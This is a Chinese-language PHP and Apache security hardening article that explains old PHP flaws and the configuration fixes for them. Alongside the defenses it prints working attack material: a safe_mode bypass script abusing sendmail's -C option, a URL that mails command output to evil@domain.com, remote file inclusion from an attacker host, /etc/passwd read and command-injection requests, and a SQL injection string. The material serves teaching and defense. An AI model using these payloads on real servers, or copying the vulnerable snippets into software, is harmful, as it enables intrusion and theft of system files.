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PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞

 

PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞

一、Web服务器安全
PHP 其实不过是Web 服务器的一个模块功能,所以首先要保证Web 服务器的安全。当然
Web 服务器要安全又必须是先保证系统安全,这样就扯远了, 无穷无尽。PHP 可以和各种
Web 服务器结合,这里也只讨论Apache。非常建议以chroot 方式安装启动Apache,这样即
使Apache 和PHP 及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系
统。但是使用chroot 的Apache 后,给应用也会带来一定的麻烦,比如连接mysql 时必须用
127.0.0.1地址使用tcp 连接而不能用localhost 实现socket 连接,这在效率上会稍微差一点。
还有mail 函数发送邮件也是个问题,因为php.ini 里的:
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com
都是针对Win32平台,所以需要在chroot 环境下调整好sendmail。
二、PHP 本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流
传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun

http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST 请求处理远程漏洞,虽然不能获得
本地用户权限,但是也能造成拒绝服务。
3、safe_mode 绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail 函数绕过safe_mode 限制执行命令漏
洞,4.0.5版本开始mail 函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode 的
限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell 命令就可以了,
比如存在PHP 脚本evil.php:
<? mail(“foo@bar,”foo”,”bar”,””,$bar); ?>
执行如下的URL:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com
这将id 执行的结果发送给evil@domain.com。
对于4.0.6至4.2.2的PHP 突破safe_mode 限制其实是利用了sendmail 的-C 参数,所以系统必
须是使用sendmail。如下的代码能够突破safe_mode 限制执行命令:
<?
# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script=”/tmp/script123″;
$cf=”/tmp/cf123″;
$fd = fopen($cf, “w”);
fwrite($fd, “OQ/tmp
Sparse=0
R$*” . chr(9) . “$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script”);
fclose($fd);
$fd = fopen($script, “w”);
fwrite($fd, “rm -f $script $cf; “);
fwrite($fd, $cmd);
fclose($fd);
mail(“nobody”, “”, “”, “”, “-C$cf”);
?>
还是使用以上有问题版本PHP 的用户一定要及时升级到最新版本,这样才能消除基本的安
全问题。
三、PHP 本身的安全配置
PHP 的配置非常灵活, 可以通过php.ini, httpd.conf, .htaccess 文件(该目录必须设置了
AllowOverride All 或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的
函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM 属性的,必须通过php.ini 和httpd.conf 来修改,它
们修改的是PHP 的Master 值,但修改之后必须重启apache 才能生效。其中php.ini 设置的
选项是对Web 服务器所有脚本生效,httpd.conf 里设置的选项是对该定义的目录下所有脚
本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL 属性的选项就可以使
用.htaccess 文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local
值,改了以后马上生效。但是.htaccess 只对当前目录的脚本程序生效,ini_set()函数只对该
脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用
如下命令查找当前源代码的main.c 文件得到所有的选项,以及它的属性:
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP 安全配置之前,应该好好了解PHP 的safe_mode 模式。
1、safe_mode
safe_mode 是唯一PHP_INI_SYSTEM 属性,必须通过php.ini 或httpd.conf 来设置。要启用
safe_mode,只需修改php.ini:
safe_mode = On
或者修改httpd.conf,定义目录:
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重启apache 后safe_mode 就生效了。启动safe_mode,会对许多PHP 函数进行限制,特别是
和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID 相同的文件,比如test.php 脚本的内容为:
<?include(“index.html”)?>
几个文件的属性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r–r– 1 root root 4110 Oct 26 2002 index.html
-rw-r–r– 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php 会提示如下的错误信息:
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to
access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID 和脚本UID 一致,那么该文件的UID 即使和脚本不同也可
以访问的,不知这是否是PHP 的一个漏洞还是另有隐情。所以php 脚本属主这个用户最好
就只作这个用途,绝对禁止使用root 做为php 脚本的属主,这样就达不到safe_mode 的效果
了。
如果想将其放宽到GID 比较,则打开safe_mode_gid 可以考虑只比较文件的GID,可以设
置如下选项:
safe_mode_gid = On
设置了safe_mode 以后,所有命令执行的函数将被限制只能执行php.ini 里safe_mode_exec_dir
指定目录里的程序,而且shell_exec 、`ls -l`这种执行命令的方式会被禁止。如果确实需要调
用其它程序,可以在php.ini 做如下设置:
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录,那么php 脚本就可以用system 等函数来执行该程序。而且该目录
里的shell 脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录(目录必须在include_path 中或者用完整路径来包含)包含文件时
越过UID/GID 检查。
从PHP 4.2.0 开始,本指令可以接受和include_path 指令类似的风格用分号隔开的路径,
而不只是一个目录。
指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir =
/dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一
个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全
模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能
设置以PHP_ 开头的环境变量(例如PHP_FOO = BAR)。
注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用putenv() 来改变这些环境
变量。甚至在safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode 不是万能的(低版本的PHP 可以绕过),但还是强烈建议打开安全模式,在
一定程度上能够避免一些未知的攻击。不过启用safe_mode 会有很多限制,可能对应用带
来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP
手册。
讨论完safe_mode 后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP 服务器
端的配置来避免出现的漏洞。
2、变量滥用
PHP 默认register_globals = On,对于GET, POST, Cookie, Environment, Session 的变量可以直
接注册成全局变量。它们的注册顺序是variables_order = “EGPCS”(可以通过php.ini 修改),
同名变量variables_order 右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本
程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:
<?
//test_1.php
if ($pass == “hello”)
$auth = 1;
if ($auth == 1)
echo “some important information”;
else
echo “nothing”;
?>
攻击者只需用如下的请求就能绕过检查:

http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke 的远程文
件拷贝漏洞http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变
量。对于从GET、POST、COOKIE 等来的变量并不会直接注册成变量,必需通过数组变
量来存取。PHP-4.2.0发布的时候,php.ini 默认配置就是register_globals = Off。这使得程序
使用PHP 自身初始化的默认值,一般为0,避免了攻击者控制判断变量。
解决方法:
配置文件php.ini 设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断:
<?
//test_2.php
if (!($str = readfile(“$filename”))) {
echo(“Could not open file: $filename<BR>/n”);
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php 文件本身:

http://victim/test_2.php?filename=test_2.php

PHP 中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要
文件被访问读取。
解决方法:
如非特殊需要,把php 的文件操作限制在web 目录里面。以下是修改apache 配置文件
httpd.conf 的一个例子:
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重启apache 后,/usr/local/apache/htdocs 目录下的PHP 脚本就只能操作它自己目录下的文件
了,否则PHP 就会报错:
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode 模式也能避免这种问题,前面已经讨论过了。
4、包含文件
极易受攻击的代码片断:
<?
//test_3.php
if(file_exists($filename))
include(“$filename”);
?>
这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd 文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix 版的PHP(Win 版的PHP 不支持远程打开文件)攻击者可以在自己开了http
或ftp 服务的机器上建立一个包含shell 命令的文件, http://attack/attack.txt 的内容是
<?passthru(“ls /etc”)?>,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache 的日志文件access.log 和error.log 来得到执行命令的代码,
不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:
<?
//test_4.php
include(“$lib/config.php”);
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php 文件,然后用如下请求也
可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP 的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量
检查不严就会对系统造成严重危险,可以远程执行命令。
解决方法:
要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含
的文件名,绝对不能由用户任意指定。
如前面文件打开中限制PHP 操作路径是一个必要的选项。另外,如非特殊需要,一定要关
闭PHP 的远程文件打开功能。修改php.ini 文件:
allow_url_fopen = Off
重启apache。
5、文件上传
php 的文件上传机制是把用户上传的文件保存在php.ini 的upload_tmp_dir 定义的临时目录
(默认是系统的临时目录, 如:/tmp)里的一个类似phpxXuoXG 的随机临时文件,程序执
行结束,该临时文件也被删除。PHP 给上传的文件定义了四个变量:(如form 变量名是file,
而且register_globals 打开)
$file #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用:
$HTTP_POST_FILES[‘file’][‘tmp_name’]
$HTTP_POST_FILES[‘file’][‘size’]
$HTTP_POST_FILES[‘file’][‘name’]
$HTTP_POST_FILES[‘file’][‘type’]
这是一个最简单的文件上传代码:
<?
//test_5.php
if(isset($upload) && $file != “none”) {
copy($file, “/usr/local/apache/htdocs/upload/”.$file_name);
echo “文件”.$file_name.”上传成功!点击<a href=/”$PHP_SELF/”>继续上传</a>”;
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
</head>
<body bgcolor=”#FFFFFF”>
<form enctype=”multipart/form-data” method=”post”>
上传文件:
<input type=”file” name=”file” size=”30″>
<input type=”submit” name=”upload” value=”上传”>
</form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd 文档拷贝到web 目录/usr/local/apache/htdocs/test(注意:这个
目录必须nobody 可写)下的attack.txt 文件里:

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

然后可以用如下请求读取口令文件:

http://victim/test/attack.txt

攻击者可以把php 文件拷贝成其它扩展名,泄漏脚本源代码。
攻击者可以自定义form 里file_name 变量的值,上传覆盖任意有写权限的文件。
攻击者还可以上传PHP 脚本执行主机的命令。
解决方法:
PHP-4.0.3以后提供了is_uploaded_file 和move_uploaded_file 函数,可以检查操作的文件是否
是用户上传的文件,从而避免把系统文件拷贝到web 目录。
使用$HTTP_POST_FILES 数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php 脚本文件。
把PHP 脚本操作限制在web 目录可以避免程序员使用copy 函数把系统文件拷贝到web 目
录。move_uploaded_file 不受open_basedir 的限制,所以不必修改php.ini 里upload_tmp_dir
的值。
把PHP 脚本用phpencode 进行加密,避免由于copy 操作泄漏源码。
严格配置文件和目录的权限,只允许上传的目录能够让nobody 用户可写。
对于上传目录去掉PHP 解释功能,可以通过修改httpd.conf 实现:
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>
重启apache,upload 目录的php 文件就不能被apache 解释了,即使上传了php 文件也没有
问题,只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack 摘出,详细的描述见:

http://www.securityfocus.com/bid/4303

<?
//test_6.php
system(“traceroute $a_query”,$ret_strs);
?>
由于程序没有过滤$a_query 变量,所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd 命令:
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP 的命令执行函数还有system(), passthru(), popen()和“等。命令执行函数非常危险,慎用。
如果要使用一定要严格检查用户输入。
解决方法:
要求程序员使用escapeshellcmd()函数过滤用户输入的shell 命令。
启用safe_mode 可以杜绝很多执行命令的问题,不过要注意PHP 的版本一定要是最新的,
小于PHP-4.2.2的都可能绕过safe_mode 的限制去执行命令。
7、sql_inject
如下的SQL 语句如果未对变量进行处理就会存在问题:
select * from login where user=’$user’ and pass=’$pass’
攻击者可以用户名和口令都输入1′ or 1=’1绕过验证。
不过幸亏PHP 有一个默认的选项magic_quotes_gpc = On , 该选项使得从GET, POST,
COOKIE 来的变量自动加了addslashes()操作。上面SQL 语句变成了:
select * from login where user=’1/’ or 1=/’1′ and pass=’1/’ or 1=/’1′
从而避免了此类sql_inject 攻击。
对于数字类型的字段,很多程序员会这样写:
select * from test where id=$id
由于变量没有用单引号扩起来,就会造成sql_inject 攻击。幸亏MySQL 功能简单,没有
sqlserver 等数据库有执行命令的SQL 语句,而且PHP 的mysql_query()函数也只允许执行
一条SQL 语句,所以用分号隔开多条SQL 语句的攻击也不能奏效。但是攻击者起码还可以
让查询语句出错,泄漏系统的一些信息,或者一些意想不到的情况。
解决方法:
要求程序员对所有用户提交的要放到SQL 语句的变量进行过滤。
即使是数字类型的字段,变量也要用单引号扩起来,MySQL 自己会把字串处理成数字。
在MySQL 里不要给PHP 程序高级别权限的用户,只允许对自己的库进行操作,这也避免
了程序出现问题被SELECT INTO OUTFILE … 这种攻击。
8、警告及错误信息
PHP 默认显示所有的警告及错误信息:
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的物理路径,
为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方,反而不能
及时修改程序的错误。所以把PHP 的所有警告及错误信息记录到一个日志文件是非常明智
的,即不给攻击者泄漏物理路径,又能让自己知道程序错误所在。
修改php.ini 中关于Error handling and logging 部分内容:
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache,注意文件/usr/local/apache/logs/php_error.log 必需可以让nobody 用户可写。
9、disable_functions
如果觉得有些函数还有威胁,可以设置php.ini 里的disable_functions(这个选项不能在
httpd.conf 里设置),比如:
disable_functions = phpinfo, get_cfg_var
可以指定多个函数,用逗号分开。重启apache 后,phpinfo, get_cfg_var 函数都被禁止了。建
议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信息,而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔类名。
disable_classes 也不能在httpd.conf 里设置,只能在php.ini 配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir 对脚本操作路径进行限制,这里再介绍一下
它的特性。用open_basedir 指定的限制实际上是前缀,不是目录名。也就是说”open_basedir
= /dir/incl” 也会允许访问”/dir/include” 和”/dir/incls”,如果它们存在的话。如果要将访问
限制在仅为指定的目录,用斜线结束路径名。例如:”open_basedir = /dir/incl/”。
可以设置多个目录,在Windows 中,用分号分隔目录。在任何其它系统中用冒号分隔目录。
作为Apache 模块时,父目录中的open_basedir 路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能够执行和访
问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的读写执行权限能在程
序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉,否则
在linux 下可以用/lib/ld- linux.so.2 /bin/ls 这种方式来执行。
如果要取消某程如果是在chroot 环境里,这个工作比较容易实现,否则,这项工作还是有些
挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP 的mail 函数需要
/bin/sh 去调用sendmail 发信,所以/bin /bash 的执行权限不能去掉。这是一项比较累人的工
作,
2、去掉apache 日志其它用户的读权限
apache 的access-log 给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP
代码的URL,可以使access-log 包含PHP 代码,那么把包含文件指向access-log 就可以执行
那些PHP 代码,从而获得本地访问权限。
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。
当然,如果你按照前面介绍的配置PHP 那么一般已经是无法读取日志文件了。

**本文是我在网上偶然看到的,不知出处,觉得写的还是可以的,所以于此处和大家分享,若原作者见到,可与我联系。

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